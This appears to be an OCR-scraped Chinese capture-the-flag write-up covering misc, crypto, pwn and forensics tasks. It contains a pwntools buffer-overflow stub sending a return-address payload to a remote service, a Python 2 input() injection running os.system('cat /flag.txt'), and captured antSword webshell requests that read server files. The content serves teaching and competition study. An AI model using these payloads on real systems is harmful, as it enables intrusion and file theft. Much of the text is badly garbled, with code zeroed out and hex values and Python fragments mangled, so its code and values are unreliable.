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import struct
00000000000000000

def encode(00000000000000000) :

00000000000000000 0
00000000000000000 0
00000000000000000
00000000000000000 in
00000000000000000
00000000000000000
00000000000000000 8
if 00000000000000000
00000000000000000
if 00000000000000000
00000000000000000
00000000000000000
else:
00000000000000000
00000000000000000
00000000000608000
00000000000000000

for

91)]
if 00000000000000000:
00000000000000000
if 00000000000000000
00000000000000000
return 00000000000000000

00000000000000000
(00000000000000000
00000000000000000
(0, 52):

00000000000000000

00000000000000000
dic ( 5 )
dic.write(00000000000000000)
dic.close

[]
[]

for i in

52¥kbase91, EEmE1

PAMRERA, MK

00000000000000000[ 00060000000000000 : 00000000000000000
struct.unpack(

13:
00000600000000000

00000000000000000[ (00000000000000000

00000000000000000[ (00000000000000000
7 or 00000000000000000
00000000000000000[ (00000000000000000

00000000000000000[ 1 : ]
encode (00000000000000000 . encode (

( (00000000000000000) ) :
1]

, 00000000000000000) [0] 00000000000000000

8191
88:
13
13

00000000000000000
14
14

16383

91)]

91)]
90:
91)]

000000000000000R0[0: 1 ]
))

00000000000000000 [ (0000000000000,



for strletter in encoded_str.decode():
if not strletter in b91Table:
continue
b91Table[strletter]

(@ 91
% n
13 if (v & 8191) 88 else 14
while True:
out struct.pack( ) 255)
b 8
n 8
if not n
break
%
if v 1:
out struct.pack( , (b | v
return out

CREY)E
b91MapArr.append(rawb91Maps[i: ] rawb91Maps[0:i])
b91MapArr.reverse()
( ) as f:
f.read()

for i in (0, 52):
b91Table ((v, k) for k, v in (b91MapArr[i]))
strs = decode(strs).decode()
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sm4.h

static const unsigned char SboxTable[16][16]

{
{0x48, 0x90, OXxE9, OXxFE, OxCC, OxE1l, ©x3D,
{0x2B, Ox67, Ox9A, Ox76, Ox2A, OXBE, 0x04,
{0x9C, ©x42, 0x50, OxF4, 0x91, OXEF, 0x98,
{OxE4, ©xB3, 0x1C, OxA9, OxC9, 0Ox08, OXES8,
{0x47, 0x07, OxA7, OXFC, OxF3, ©x73, 0x17,
{0x68, Ox6B, Ox81, OxB2, Ox71, Ox64, OXDA,
{0x1E, ©x24, OxOE, OX5E, Ox63, Ox58, OxD1,
{oxD4, 0x00, 0x46, Ox57, Ox9F, OxD3, 0Ox27,
{OxEA, OxBF, Ox8A, OxD2, 0x40, OxC7, 0x38,
{OxE0Q, OXAE, Ox5D, OxA4, Ox9B, 0x34, Ox1A,
{0x1D, OxF6, OXE2, OX2E, Ox82, OX66, OXCA,
{oxD5, ©xDB, ©x37, ©x45, OxDE, OxFD, OxS8E,
{0x8D, ©x1B, OxAF, ©x92, ©xBB, ©xDD, OxBC,
{0x0A, OxC1l, 0x31, Ox88, OxA5, OxCD, Ox7B,
{0x89, Ox69, 0x97, Ox4A, Ox0C, Ox96, OX77,
{0x18, OXFO, OX7D, OXEC, Ox3A, OXDC, Ox4D,

¥
static const unsigned CK[32]
{

OXF4ABFE18F, OxA8AAQ55C, Ox8B266D2B, 0xB3819D47, 0x0B1B3A85, OxF7DB86B6, OxC3279F82, ©x39D9C102,
OXBEA224C9, OxXE75D4DAC, OxAC61726C, Ox6F98AA6F, OxFA2ADA4E, Ox6A7CFF92, OxA8066E7B, Ox7BE32F9F,
Ox8CDOFED3, Ox4B98AF71, Ox790C2CBC, OxBF880433, OxAA46F582, Ox69C17A2C, Ox80BBD5E4, 0Ox24A02531,
0x293D87B3, Ox75F159AD, OxB750AESD, 0x9886928C, 0x05577A22, OxB425E19F, 0x124D4F63, OxE26F66D1




main

sm4_context ctx

unsigned char key[16 Ox0B, 0x18, 0x18, 0x29, 0x16, Ox3A, Ox5E, Ox27, Ox1E, Ox2B, Ox5F, Ox3F, 0x32, 0x07
Ox5C, 0x56

unsigned char enc[16 OxF7, OxEB, Ox5E, 0x87, 0x17, Ox9C, Ox74, 0x94, 0x44, OxB5, OxF5, ©Ox12, OxF9, Ox74
0x15, Ox5F

unsigned char dec[16

sm4_setDecryptKey(&ctx, key
sm4_CryptoEcb(&ctx, @, 16, enc, dec
i=0; 1 16; 1
printf dec[i
printf
(%]
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fuzz— F AT LB, SRMUFTA (R R QB RR, R OXITF BB T /95— A7 3

from PIL import Image
import struct
pic Image. (
a, pic.size
(
for y in (b):

for x in (a):

g = pic.getpixel((x, y))[1]
data struct.pack( >, 8 & oxff)

fp.write(data)
fp.close()
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from pwn import
import sys

import time

context.log level

libc_name)

binary name)

def exp(i,j):

if local:

p=process( binary _name)
else:

p=remote( , 38562)

def z(a ):
if local:
gdb.attach(p,a)
if a :

else:
PERS

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)

sd=lambda x:p.send(x)

sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

sla(

sla(

ru(

z(

sl(str(3j))

s1( 30 2+p32(0x80485b6) )
ia()

exp(30,29)
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python2 f¥jinputl i

import ('os' tem('cat /flag.txt')

~fDesktop
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Go g|e atom128 X $ Q

A{TEIME: 2020 &

Mt riglalve. e, > LHYPIW » €Ty atulTiTzol % E%I;O_':JJLU\[

ATOM-128 Encrypt or Decrypt message - Free
Type or paste in the text you want to encrypt or paste ATOM-128 encrypted message into the
text field and click decrypt!

http://qbarbe.free.fr » crypto » eng_atom128d ~ EFEIR
ATOM-128 Decrypt message - Free

A simple way to decrypt a text message is to use ATOM-128.

https://iwww.amazon.com » Atom128 ~ EZEIh®

Atom128 by Paul Henty on Amazon Music
Check out Atom128 by Paul Henty on Amazon Music. Stream ad-free or purchase CD's and
MP3s now on Amazon.com.

https:/fwww.youtube.com » watch

Atom128 - YouTube

fBE AR B S g8 B R

ATOM-128 Encrypt or Decrypt message
A simple way to encrypt / decrypt a text message is to use ATOM-128

Type or paste in the text you want to encrypt or decrypt

passswowoowowddddddddddddddddddddddddddd

Type or paste in the text you want to encrypt or paste ATOM-128 encrypted message
decrypt into the text field and click decrypt!
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M Wireshark - I8 TCP i (tcp.stream eq 20) - misc.pcapng - O X

POST /shell.php HTTP/1.1 ~
Host: 192.168.1.33

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 764

Connection: close

snowywar=440ini_set(%22display errors#22%2C%20%220%22)%3B%40set_time limit(e)#%3Bfunction%2@asenc(%24out)
%7Breturn®%20%24out%3B%7D%3Bfunction%2@asoutput ()%7B%24output®%3Dob_get contents()%3Bob_end clean()
%3Becho?20%22652c82c%22%3Becho%20%40asenc (%24output)%3Becho%20%220ec25685%22%3B%7Dob_start()
%3Btry#%7B%24F%3Dbase6d_decode(get_magic_quotes_gpc()%3Fstripslashes (%24 POSTH#5B¥%22we9bc71a9c2077%22%5D)

%3A%24 POST#5B%22weSbc71a9¢c2077%22%5D) %3B%24Tp%h3D%40Topen (%24F%2C%22r%22)%3B1f (%40fgetc(%24fp) ) %7B%40fclose (%24fp)
%3B%4ereadfile (%24F)%3B%7Delse%7Becho (%22 ERRORB3IAK2FH2F%20Can%20Not%2@Read¥22 )%3B%7D%3B%7Dcatch(Exception¥2e%24e)

%7Becho%20%2 2 ERRORMHASRF At de—YFE ut ()Y%3edie()
%3B&weobc71a9c207§=QzovcGhwRW52L3d3dy9sb2NhbGhve3QvZuv1ZWUuemlwHT[TP/1.1 2@@ 0K
Date g wed) 20 oCt A A D WA CMT

Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g mod_fcgid/2.3.10-dev
X-Powered-By: PHP/7.4.23

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

1118

652C82CPK. v vvvvns h.ssZg...... e... caeeeeee,pdf. JIXSE. vi i &;...V@...d.RD..a1.ImED...AH. ... .4 -

(N T [0 IR, /N Yoo cco=cPoca8oanas @.<.. ..z..."].. ... 8.r X .. S0

(I E Ry - R | A LeBPrccooMacans R T N 1 Socooaao0s Tiill].Zes.iigew) X NelBo®eoFafaaBa:

..-fOoT...f*D.(....p..R..j.q;...Du2..Y.a..... e....;..Mc Y.t ] %L k0L - N v an@xeXd. L < (L LK

ellaccos 1 Ve coas 2P. %, .nB.

Co..uque..onnn. Roscoancscsos (011 [ VR < R o - -.Ufpb....... Scoscoc W..~ooa.. mW....~.8....... LocooSFoac

6V....of...Ik.

czoc_crmocdomacscos Im.2.." . X.;g..1pw..._N..put..-9 2. i.%...~. ...

cooctte )]Gl e bl ol @ canas Pos] c@colleoBa_gocllkoccs T=Waccomaze @=scccos (c®copco®@ho CalETM3Tc o]l ccooe }.U.ztQ9..i.../..R.

UYWL Y m..6..CC.{.{.Yeuu., RIGYL...uenn.. §ocoJo(lon8oe@lacookanaccans U O S

+1.J. ..v.g.au....n....5)...0....8....;.V/.|J..K..3.[.1.:..... <oylevenns EVofo.. .00 lALCTL) 20 74

o o_ocoos@ooaBoooloc®oanannan L.5.%%.@.8

LLnuL#9|n. L 7. M u8L LP2KR L L nur....~.+.8....8DAi.r'P.S}....Wk\...@5.%5".2[6G.7.-... ..W...... 1..5..... Q....|t..[...

Follo=coliPs||foco0oo000000 t. ", .. o
Fa¥al = o e % | 15§ il 1 r r ] N1 A + L o o B

A a2m. 1 BN SE, 5 BRE AE I ronls) AEEHE.

EEFTE (L0TkB) ~ Show data as &5CII ~ w20 5

= | | BT |

basef#t % — T shellf /5 flbase64, BEEEZATMEIER, WA UAMIXBEEH T — eeeee.zip3 i



Recipe S I Input
zovcGhwRW521 3d3dy9sb2NhbGhvc3QvZWv1 ZWUueml
From Baseb4 O n < Y © “4
Alphabet
A-Za-z0-9+/= v

Remove non-alphabet chars

Output

C:/phpEnv/www/localhost/eeeee.zip

BzpREFE TR, EHOHEERE, —HikEE. HA360Mbandzip#@EEANT, A7zMwinrarf] CA#EE, {HA#E H kK pdfHE H
AR, FTARIF

100% IETEERER C:\Users\34603\Desktop\141.zip — O >
= FRe (8] : 00:00:00 B 252K
EHES TR 00:00:00 HE: 15 MB/s
i 1 E4IE 252K
EHgEE : 41% FEEEEF ]~ 103K
HEEIR: 2
FEiRER
eeeee pdf

1 C:\Users\34603\Desktop\141.zip
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TikEha S EmnaiE
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@ eeeeepdf x  + = |
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%PDF-1.7.%......
5 0 obj. /Filt
er /FlateDecode.
/Length 520.>>.s
tream.xeiYEjl@. ..
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15

28
iR FHE
struct PDFHeader sPDFHeader Oh
struct PDFComment sPDFComment 9h
struct PDFObj sPDFObj[0] 500bj << fFilter /FlateDecode /Length 520 ... 10h

struct PDFObj sPDFObj[1]
struct PDFObj sPDFCbj[2]
struct PDFObj sPDFObj[3]
struct PDFObj sPDFObj[4]
struct PDFObj sPDFObj[5]
struct PDFObj sPDFObj[6]
struct PDFObj sPDFObj[7]
struct PDFObj sPDFObj[8]
struct PDFObj sPDFObj[9]
struct PDFObj sPDFObj[

struct PDFObj sPDFObj[

struct PDFObj sPDFObj[

struct PDFObj sPDFObj[13]
struct PDFObj sPDFObj[14]
struct PDFObj sPDFObj[15]
struct PDFObj sPDFObj[16]
struct PDFObj sPDFObj[17]
struct PDFObj sPDFObj[18]
struct PDFObj sPDFObj[19
L
L

0]
1]
2]

10
1
1

struct PDFObj sPDFObj[20]
struct PDFObj sPDFObj[21]

700bj << /Fl er /FlateDecode /Length 493 ...

ode /Length 500

ode /Length 494...
/Filtzr /FlateDecode /Length 497...
<S/Filtér /FlateDecode /Length 496

/Filter fFlateDecode /Length 5

<T/Filter /FlateDecode fLength 489 ...
<F/Filtér /FlateDecode /Length 5 .

Filter /FlateDecode /Length 488 ...
<2/Filter /FlateDecode fLength 501 ...

/fFilter /FlateDecode /Length 483

de /Length 493 ...
de /Length 482...

Length 496
e /Length 4

<b/Filtzr /FlateDecode /Length 4
<7/Filter /FlateDecode /Length 483 ...
ilter /FlateDecode /Length 497 ...
/Filter /FlateDecode /Length 484 ...
3/Filtgr /FlateDecode /Length 497 ...
< <c/Filter /FlateDecode /Length 486 ...

261h
497h
6D4h
90Ch
B47h
D81h
FC2h
11F5h
1436h
1668h
18A7h
1AD4h
1D0Bh
1F38h
FAVAL]
239Eh
25D5h
2802h
2A3Dh
2C6Bh
2EABh
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| meztxt - iBEE
W) E(E) BEIN0) Z;HN) T|EIH)

{
"beat": [

AT

import json

fp ( ;
data = fp.read()

jsonl = json.loads(data)

note jsonl[ ]
for i in note:
print(i[

xR



1111136666662222255555452531437263137232423436242353535353627180353564735235601123423535535355387766556354354335
4512671267011256235425366424423162365417000068658367847012387111119951214811795651141019510911711510599951039710
9101951099711511601111412500000000312346100532512453320404040262626212671267126712671267126712671267126712670123
©123012356785678234453235623562356444444444417263508080808170178266266266022022243643652784564573641373753752621
5707406754545423452525258765432107766554433112221212676762323246123455335353357654335535335301246786345325325326

3426601724623185045361416527236437253252525252525363636362716271627162716271627162452452463172583126121258762487
6187623461763562356182032413254635243425322602682627252645273650855173553426046306563266058216380664705144601782
6713521835105287647163735363528353250364634351354444345434

RIEIROTFAEMALE, 7 LURBLFTH 94F#£00002/00000000:Z 8]

11111366666622222555554525314372631372324234362423535353536271803535647352356011234235355353553877
66556354354335451267126701125623542536642442316236541 75554 865836784781238711214815114
101951689117 11518599951@397199971151 1681111412531234618@5325 124533204084048262626212
67126712671267126712671267126712671267012301230123567856782344532356235623564444444444172635080808
B8170178266266266022022243643652784564573641373753752621570740675454542345252525876543210776655443
31122212126767623232461234553353533576543355353353012467863453253253263426601724623185045361416527
23643725325252525252536363626271627162716271627162716245245246317258312612125876248761876234617635
62356182032413254635243425322602682627252645273650855173553426046306563266058216380664705144601782
6713521835105287647163735363528353250364634351354444345434

FHEHARBE KA LAE th 68 65 83 67 848 & A 4T I 1F
22384 0000%100000000 Y i #8 4= HF FR X Hi 5k

fi#E — T B 15 2lflag

LdsL DUNU: £ yedls ago - v SUpPpUILs IMUIUPIE INPULS ana d NOJe Arl allowing you Lo progrdimn wil Lypernner: Upuons g ADOUL/ SUppUIL g

. = length: 138 =
Recipe S ] Input Noms @ + O3 8§ =
rorm Decimal 68 65 83 67 84 70 123 11 119 95 121 48 117 95 65 114 181 95 109 117 115 105 99 95 103 97 109
rom becima 101 95 109 97 115 11q @11 [114 h25

Delimiter

Space D Support signed values

time: ems

Output length: 7 ) |_D 23] ra

lines: 1

DASCTF{Wow_y@u_Are _music_game mast.r}

XEFE—N01M4EE T, HOTBUN101BIR IEH B Biflag, BA&JEFEBGEEEA/NOHWE SRS, EHAHE, BSUEH1E
3| | %flag



start: 119

length: 138 ——
Input end: 122 08T + OS5 @ =

length: 3

68 65 83 67 84 70 123 87 111 119 95 121 48 117 95 65 114 161 85 189 117 115 185 99 95 183 97 189
181 95 189 97 115 116 plskl 114 125

time: 1ms

Output length: 37 B I_D m ::

lines: 1

DASCTF{Wow y@u Are music_game master}

REAFHREEDS L

TERMFRE —pngB fr, KA —MpWikdEs, EmRE—1 stego_text.txt

»" £, -QRe..LEE®
&.2+"0..A.e’ .
Sk It EL Q&G
L@E°&.2+"0. .A.e
'i..»i\...k,!::".f.
-Q&é. .L@E°&.2+"0
AetilAll k

stego_text.t
"mime”:"text
/plain™}.engines
.forget.array.di
scussed.accuratm
.stephen.elizabe

th.climate.reser
vations.pin.play
station.alcohol.
greek.instructio

Fa

8h
HUNK chunk[0] IHDR (Crit blic, Unsafe 19h
HUNK chunk[1] sRGB et Dh

CHUNK chunk[2] t lic safe F85h

HUNK chunk[3] DOB4h

4h

4h

DOAS8h

4h

Ch

FA#E £ P ot SR X — T Hudfe



https://masterqian.github.io/picdir/

& mastergian.github.io/picdir/ & %

(L]

EiAsdim f=ri212) HATFTE TREDt

stego_text.txt

BECAXAMF, XEAREZENBIRRBEE G, SR
FRFTHE—T, KAF—HEX

Unicode Steganography with Zero-Width Characters

This is plain text steganography with zero-width characters of Unicode.
Zero-width characters is inserted within the words.

JavaScript library is below.
http://330k.github.io/misc tools/unicode steganography.js

Text in Text Steganography Sample

Original Text: [ Clear | (length: 51834) Steganography Text: (length: 52346)
engimes a stockhoTm
forget | tamil
array garmin
discussed u
accuratm ?ose
stephen tzzy
ol izabeth indonesian
climate f;ams st
reservat ions herepls
ein . richards
i nrna
Z}ayital\l ion y t@ud“gﬁt?
oolki
H . . promising
Hidden Text: (length: 64) e promisine
v PHERTz00g8HX306BenTmveeyvED i CurJNTwPJeY /PHyOhHXYVKPL |6 i sBRyLO goatd
render
carmen
ira
sen
thereafter
hardwood
erotica
temporal
, Download Stego Text as File

BE P IR, RIA BRI BN RAPSER, tinaccurate’5 B T accuratm



| stego_text.txt - 0=

AR |EE) EI(0) EE(NV) FEEIH)
engines

forget

array

discussed /
accuratm

stephen
elizabeth
climate
reservations
pin
playstation
alcohol
greek
iInstruction
managing

FEgithub BT —/M LB A BR %R
https://github.com/first20hours/google-10000-english/blob/master/google-10000-english.txt

HANEAXE—T

line line.strip(
tables.append(line)

in fp:

line.strip(
.append(line)
data:

if s not in tables:

print(s)




| 77541 1.0t - iBEA

MAF(F) fREE(E) ERU(0) =F(V) FHEIH)
accuratm
extfnt

biks
equivalens
openev
sendinx
foumula
fecused
ree
journsy
threht
oparational
handbnok
sguthwest

(n:sm:rmmmcx<mm—h3

fuz— T RIMFE AN sHF e, BEET, REM—TFTEE, HELHFFH

BERBANBIEENEL, RAHIRTBE Akey, RAMW— 1 aesH A5 2lflag:



AESHNEE:

ECB v | H7:

zeropadding v |EEiEWR: 1287 v @3 mfsvxueshang  (WISE: B | baseod v | T

SN, BEE 0 %
v jPW8RIz00g8HX306BcwTmvee

EDiCur JNTwPJeY/PMyOhHXYVEPL1n61sBRyLO

[EC ] =iz N T

AESHIE, BEEEEiEfSR (basetd 1) @ | X ||

DASCTF (TralT7tzogTpexynd2z3hxfpedlytHsr}

Twinkle Twinkle Starry Night

ncEEE:— THENL, KRINIR L base6d F1F

yAgICAGICAZKYAZKiAGLCA,
gKyAgKiAgICAgICATKI,
AgKiAgICAKI i

ICAGICArICAQICA:
qIA0gICAgICATKL

sqICAgIC
gICAZIC

baseb4fA % —T, RIBZ/NEE—FKNF/HG, IEGREE X

gb231245t5 ({&{K)




Recipe
From Base64
Alphabet

A-Za-20-9+/=

Remove non-alphabet chars

STEP

[

BAKE!

Auto Bake

start: 5521 g oenoesh)
Input end: 5521

BECE I = R
LUSULUAR LUAELUAT LUAYLAUE LUAE LUAT R LAE LUAR LUABRYAER LAE TUAE LUSU LUAE LUARS LUAT LUAL LUAE LUAT R AT LUAE LUAU
ICAgICArICAgICAgICArICAqICAZICAgKyogICAgICAEICSKICAqICAEICArKiAgICAETCAKYAEKIAgICAEICArKiAgICAE
ICAgKYAgKiAgICAgKYOgICAgICAZICSgICogICAgICAgKY0gICAEICSgICAEICAZICSEICogCiAgICAZICSqICAGICAEICAr
TCAQTCAZTCArKiAgTCAETCAgKYAEKiAgTCAEKYogTCARTCAZTCSgTCOgTCAETCSqTCAETCArTCAETCAZTCARTCAGTCAETCAE
KwoqTCAgTCAgTCArTCAGTCAETCAETCSqTCAETCAETCAPTCAqTCAETCAETCSqTCAETCAETCAPTCAGTCAZTCAETCSqTCAETCAr
TCAgTCAgTCArTCAGTCAETCAgKyOKTCAETCAETCArTCAGTCAETCArKI AgTCATCAKYAEK i AgTCAETCArKiAgTCAETCAgKYAE
KiAgICAgICSqICAEICAEICArICAqICAEICArKiAgICAgICAUICAECIAgKyAgICAgICAUICAEICArICAZICAEICAPICAGICAE
ICAgKyogICAgICAEICSEICogICAZICSqICAEICAEICAPICAqICAETICAEKYogICAZICAEICSEICogTAOZICAEICSqICAEICAE
TCArTCAGTCAETCAETCSqTCSgTCAUTCAETCArTCAETCAETCArTCAGTCAETCAETCSqTCAETCARTCArTCAGTCAETCArKIAETCAE
TCAgKYAKTCogTCAgTCSqICAgTCAZTCArTCAqICAETCARTCSqTCAETCArTCAGTCAETCArTCAGTCARTCAgKY0g TCAETCAETCSE
ICogICAgICAgKyogICARICAgICsgICogCiAgICAEKYogICAgICAZICSgICogICAgICSqICAgKyAgGICAZICAUICAEICArICAE
ICAEICArICAQICAEICAEKYogICAZICAgICSgICogICAZICArKiAZTCAgIAOEICSgICogTICAEICArKiAZICAEICAEKYAEKIAE
TCAETCArKiAgTCAETCAEKYAgKIAgTCAETCArKIArTCAETCAUTCAETCArTCAEGTCAETCARTCAGTCAETCAGKYOKTCAETCAETCAR
TCAQTCAgTCArKiAgTCAETCAgKYAgKiAgTCAETCSqTCSgTICAU

start: 4141 time: 4ms

ra
QOutput end: 4140  length: 4148 |_ m o]
P length: -1 lines: 46 a D
+ + 3+ * % P s PR +F 4+ *
+* + * $EE + + * +* + ¥ +5E 4 +
P 4= P o b % o A o "
4 " R o PR * R ¥ P
¥ + ¥ ¥ + P P 4 4 PR 3+
+ % . + % ¥ + P 4= P o
+ 7 + + 0 + + % S L+ . +
P * ] ¥ P % P o + 4
* 4 3 * 4 P 5 P E v b *
4 P ¥ + ¥ ¥ 4 ® o N P
4% + ¥ +* + ¥ P 4+ ¥ 1* 4+ ¥ 4¥ .
+ + P * + * ¥ P L* n
* +* + & +* + + * +* + & +* + #



— TR EstarryiE 5

https://blog.csdn.net/rednaxelafx/article/details/83363956

] DAL AR A 1%




StarryiESHIRISIEIER:

dup S

swap R

rotate . +"

pop 5 I +"

push SR EAERE, R+ e EiE R S5 EpushF S EdE
- g DT

- omoEkn

* LI 3

/ oo

% " E3T

num_out : "."
char_out : " ."

num_in B T
char_in : " ,"

label : FEENTHRZFE—"" THREI
jump s EEBANTERZEE A TR

LR bR
LS B bR bR R

FA WA MBSO BRI

import sys
fp (
data = fp.read()
fs (
0

for i in data:

if i
continue
elif i
sub
elif i :
if sub 1:
fs.write(
sub (%]
elif sub 2:
fs.write(
sub (%]
elif sub 3:
fs.write(
sub (%]
elif sub 4:
fs.write(
sub (%]

else:

fs.write(
sub = @

elif i

if sub




sub (%]
elif sub 1:
fs.write(
sub (%]
elif sub 2:
fs.write(
sub (%]
elif sub 3:
fs.write(
sub (%]
elif sub 4:
fs.write(
sub (%]
else:
print(

0
sys.exit()

sub

elif i
if sub 0:
fs.write(
else:
fs.write(
sub = @
else:
print(
sys.exit()
fp.close()
fs.close()

p
p

*

pus
1
3

*

push
push
push 3
char_out
+ push 3
2

push ©

*

+
pu
pu

p

4L

push

*

push
1

char_out

push

2
E]
2
push
E]

*

push
push
push
3

*

+
push
pus
pus
+

©

char_

3
1
push

ush
ush

3

push ©

h 2

4L

*

4L

p
p

ush

ush

push ©

out
& pus
push
sh 3
sh ©
+
push
char_out
+
push
+
*
push
1
3

push

h
h

har_out

h
3

*

2

L

*
3
p

dup

2

+
pus
3

push

1
dup

push

push

1
3
push

push
push

*

+ push

3

*

push
3
1

4L

+
pus
char_out
p
pus
1
3

*

+

*

push

push
E]

*

h
pu
char_out
3 *
+ pu
char_o
1

L

+
push
3
2

pus

push
push
*
ush ©
3 *

3
push ©

push

1
(4]

*

3

*

+ push
3
1

4L

push
+

p

push
push ©
push ©
3 *

push
h push
push ©

3 *

push
ush
h o

it

push
+ push
3
2

4L

push
v push
2

it

push
2
dup

sh push
char_out
push 1 +
sh
ut

push

3

*

pus
*

3 push
pu
pu

push ©

push ©
3 *
*

push © +
+
h 2

push

char_out
+
E]
2

push
pus

push dup

*

push © + 3

dup

push

+ char_out

*

1

4L

3

*

push +
1

3

*

push
3
1

it

push push

& +

push
1

4L

push
3

*

ush
3
0

push
1
3

1

push
3
push ©

push push

+ *

push
3

(%]

3
push
3

*

push + push

dup char_out

*

3

*

push © + push

3

*

+ push
3
1

+

push ©
+ push ©
3 *

*

push pus
push
2
3
1
3

push

push +

3 push push 3

push © push push
h 3 w
2

sh 3

sh ©

L

push dup
1
push
3
push ©
2

char_out

push push

& 1
push ©
3 *

*

+
+ push
push
3

dup

push push +
char_out
3 *

h

2
push

3
push

+
3
push ©

push push

2 +

char_out push 3

push ©

h

push ©

1

0

2
push

push
o push
push ©
push ©

3

*

-t

0
*
push
1 +
push
o push
+ pus
char_out
+ push

3

push ©




push 3 b push © + push 3 o push 2 + push 3 <

push © + push ©
push 3 b
3 *
+ push 3 s

push 3 o push 1 + push 3 o
3 *

push © +

push 2 + push 1 + push ©
3 *

push 3 o

push push 1

+ push push © + push push ©

push 2 + push 1 + push 3

char_out char_out dup

sh © + push 3 s
p char_out push ©
(%] + push 3 s

+ push 3 W

push 3 e

push © + push ©

2 + 3 W

+ push 3 W

push 3 &

h 3 w

+ char_out

char_out push ©
push 3 o push ©
push 1 + push 3 <
push 3 o
push © + char_out dup
push 3 o
push 3 o
3 *
push © + push ©
push 1 + push 3 o
push 3 &
char_out char_out dup
push 3 &
push 3 &
push © +

push 3 push 1
push 2 +
3 *
push © + push ©
push © + push 3 i
push 3 &
3 *
push 1 + push ©
push © + push 3 &
push © + push 3 &
push 3 e
char_out

push 3
push push 2
push 2 +
push 1 +

push 2 + push ©

push push 1 + push 2 +

push push push 2 +
push 3
push ©
push 2 + push © + push © +
char_out push ©

push 2 + push 3 &

push 3 o

push © +

push & push © +
push 1 +
push 3 &
3 *
push

3
push 2 + push ©
& push 2 + push 3 &
push 2 + 3 &
char_out dup

push push © + push push © +

3 *

push 3
char_out char_out push ©
push 3 & push 1 + dup
push © + push 3 &
push 3 &
3 & push © + char_out dup
push © + push 3 &
push 3 &

push 1 +

push 2 +
+ push 3 & push © +
push 2 + push 3 &
push 3 &
push 1 + push
1 + push 3 ©
3 & push © + push ©
& push 1 + push 3 &
3 *
push

char_out
push © + push

push 1 + push © + push 3
push 2 +
push 1 + push
push ©
3 & push 2
push 2 + push 3 &
push 3 &

push © +

push 3

push 2 + push push 2 +
3 *

push © +

push
char_out push ©
push 3 &
push 3 &

push 1 + push © push 1

push © + push 2 + push 3 e push 3

push © push 3 & push 1 + push 3 o push 2 + push 3 o

& push © + char_out char_out dup char_out push ©

push 3 o
push 1

push 3

& push 1 + push 3 ks push 1 + push 2

+ dup char_out

push 3 k5

push © push 3 push 3

push © + push 2 push 3 push 1

FIA SRR ABATRRTT, XEA T RBEMER, M7 W T \nSCAKIERIE, KERRAT R AHRAT

push

push

push
push © +
push © +
push ©

push
push ©

char_out
push 3 &

push © +

char_out

+ push

push 3 o
3 *
< push 2 +

push ©

+ push © pus
push 3 o pus
3 o push
push
push 3
push 3 o
< push 2 +

3 o push ©
push 3

& push 1
push 2 +
push © push
push
& push 2
push 1 +
char_out chan
push 3
+ push 3 <

o push 2

push 1

o push

+ push

push




C: > Users » 34603 > Desktop » = 7754.txt
push @
push @
push 3

*

Aa bl JF se3smy 11 T

push
+
push
*

push
+
push
*

push
+
push

*

push
+
push
*

push

for line in fp:

line = line.strip(

if line[:4] 2
data.append( (line.split( )[1]1))
elif line :

x = data[-1]

y = data[-2]

data data[:-2]

data.append(x * y)
elif line :

x = data[-1]

y = data[-2]

data data[:-2]

data.append(x + y)

elif line
x = data[-1]
data.append(x)
elif line
x = data[-1]
data data[:-1]
print( ¢9)
else:
print(
sys.exit()




102 108 97 103 123 51 53 52 101 55 49 99 101 45 48 99 56 48 45 52 102 101 54 45 56 57 54 52 45 56 99 101 55 102
55 53 49 102 48 101 57 125

decimalf s — T Bl Aflag

start: 138

Input end: 138 1SMEEh: 13: + OS5 § =

length: @  Llines:

Recipe B E

102 108 97 183 123 51 53 52 101 55 49 99 101 45 48 99 56 48 45 52 102 101 54 45 56 57 54 52 45 56

From Decimal 99 101 55 102 55 53 49 102 48 101 57 125

Delimiter

Space D Support signed values

time: 1lms

Output sength: 42 B0 M@ ra

lines:

flag{354e71ce-0c80-4fe6-8964-8ce7f751fRe9}

FHFREFRE

T KB B — /M @#KaTeX parse error: Expected 'EOF', got '#' at position 28: ... 4 7K X1 — AN W AR
£, '@#tunimportance N I EHRIREL, BAH KRR AR, KBEEWHEIM-.

pstree— T & Bliexploreflemd 2

B:svchost.ex
:dllhost
WmiPrv
:dllhost
:dllhost.exe
:dllhost.e
SPPsVC

:svchost.ex

=
o aho~l

1
9
9

= ] (4 [

o
(=]

DumpIt.

mtnonlsd sxe

~
0o WD

Ca =

SeE FHiehistory— NEE I HiLFk

RIAAF LW RILFE, &FH I key.png



~/Desktop]
iehistory
atility Founda n tility Framewor
N

URL: gi Juild/key.png
kR

0F a( Bu
R R R AR AR AR AR AR AR AR AR R AR AR

ttpsmsn-1&msne

vQHr Bing
P

form=QBRE

he type
t modified

BRICRAEAREXH LB E LS, HIERAEXFLAIIN— %K.

- start: 192 .o g, —
q d: . Fd
Recipe S Input Lol 392 e 2 + Oz w
. http://cn.bing. com/search?q=%E6%80%SELE6HABYE 7XERYUAELBELE 7%BDRAELECXO6%8 7 4EA%BEYBEYLESYI0%EDYES
izt %83 BDYES ALY OF LE6KOBEBAKE SEAELBO%E S%B5HABY 2CHEAXBEXBDYE %A 2SABKESABF X1 %E 7%BE%BORq s=d s&Form=QBRE
time: oms
length: Ir o
Output e BIOE O
http://cn.bing. com/search?q="EfF L (T 4800 i 4 45, A4k K Dl&qs=ds&Form=QBRE
. - start: 206 1. gge N —
d: " =
Recipe S Input Lol 398 hines: 3 + O3] § =
Ty - gqiyue@http://cn.bing.com/search ?q=%E5%9CHABKE 6%96%87HEAXBBXB6XES%90%8DRES%89%8DHESHBAKAOKEAXDS
ecode

%BOKEANBEEAAKESHB9%SDIE7%BCY80&Torm=PRCNZH&oc id=1ehp&httpsmsn=1&msnews=1&
refig=e629761cdadad269b19f274534c67bed

time: @ms

Output engin: 126 B I_D 3] ra

lines:

qiyue@http://cn.bing. com/search?q=7r T4 AN~ Ai4& form=PRCNZHRoCid=1ehp&httpsmsn=18&msnews=1&
refig=e629761cdadad269b191274534c67bed

Jefilescan+dumpfiles— Fkey.png & A



' ~/Desktop

Foundati
af2o
Q

Volume

Volatility Foundation
DataSectionObject 3 Q4 c \Devi HarddiskVolun

(NN

hhhh

]

(SN
L T T L I I I I3

